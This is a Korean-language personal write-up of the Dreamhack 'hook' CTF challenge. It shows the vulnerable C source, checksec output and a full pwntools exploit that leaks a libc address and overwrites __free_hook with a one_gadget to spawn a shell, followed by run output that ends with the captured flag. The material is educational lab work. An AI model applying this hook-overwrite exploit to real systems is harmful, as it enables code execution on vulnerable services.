읽기 안내
Dreamhack의 개인 문제 풀이 기록입니다. 원문에 남아 있는 실습 주소·플래그와 실패·미완료 결과를 그대로 보존했습니다.
환경
$ checksec hook
[*] '/home/ubuntu/h4c/ubuntu/hook'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
- 64bit
- Full RELRO
- Canary On
- NX On
실습 코드
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
long *ptr;
size_t size;
initialize();
printf("stdout: %p\\n", stdout);
printf("Size: ");
scanf("%ld", &size);
ptr = malloc(size);
printf("Data: ");
read(0, ptr, size);
*(long *)*ptr = *(ptr+1);
free(ptr);
free(ptr);
system("/bin/sh");
return 0;
}
- printf("stsdout: %p \n", stdout) 에서 stdout을 이용해 base의 주소를 구할 수 있다.
익스플로잇 코드
from pwn import *
p = remote('host3.dreamhack.games', 22231)
e = ELF("./hook")
libc = ELF('./libc-2.23.so')
# receive stdout's address
p.recvuntil("stdout: ")
stdout_address =int(p.recvline()[:-1],16)
print("stdout:",hex(stdout_address))
# stdout's offset = 0x3c5708
libc_base = stdout_address - libc.symbols["_IO_2_1_stdout_"]
print("libc_base:",hex(libc_base))
# __free_hook's offset = 0x3c3ef8
free_hook = libc_base + libc.symbols["__free_hook"]
print("__free_hook:",hex(free_hook))
one_shot_offset = [0x45226,0x4527a,0xf03a4,0xf1247]
one_shot = libc_base + one_shot_offset[1]
print("one_shot:",hex(one_shot))
payload = p64(free_hook)
payload += p64(one_shot)
p.recvuntil("Size: ")
p.sendline('1000')
p.recvuntil("Data: ")
p.sendline(payload)
p.interactive()
결과
$ python3 hook2.py
[+] Opening connection to host3.dreamhack.games on port 22231: Done
[*] '/home/ubuntu/h4c/ubuntu/hook'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/home/ubuntu/h4c/ubuntu/libc-2.23.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
/home/ubuntu/h4c/ubuntu/hook2.py:8: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See <https://docs.pwntools.com/#bytes>
p.recvuntil("stdout: ")
stdout: 0x7f03ad6bb620
libc_base: 0x7f03ad2f6000
__free_hook: 0x7f03ad6bc7a8
one_shot: 0x7f03ad33b27a
/home/ubuntu/h4c/ubuntu/hook2.py:27: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See <https://docs.pwntools.com/#bytes>
p.recvuntil("Size: ")
/home/ubuntu/h4c/ubuntu/hook2.py:28: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See <https://docs.pwntools.com/#bytes>
p.sendline('1000')
/home/ubuntu/h4c/ubuntu/hook2.py:30: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See <https://docs.pwntools.com/#bytes>
p.recvuntil("Data: ")
[*] Switching to interactive mode
$ ls
flag
hook
$ cat flag
DH{c5e5c5c0a45d71d2666571ab2dc09cf4c4e750402ab4bb4c8a57091063ee7418}
작성 기록과 문제 출처
원문과 출처
풀이와 설명: MadEyE / 이선용의 개인 Notion 기록.
문제에서 제공한 코드·서비스 화면과 외부 참고자료의 권리는 해당 작성자와 플랫폼에 있습니다.
원문 본문·코드·실습 증적을 보존했으며, 원문에 포함된 외부 글은 참고 링크로 안내합니다.
다음 글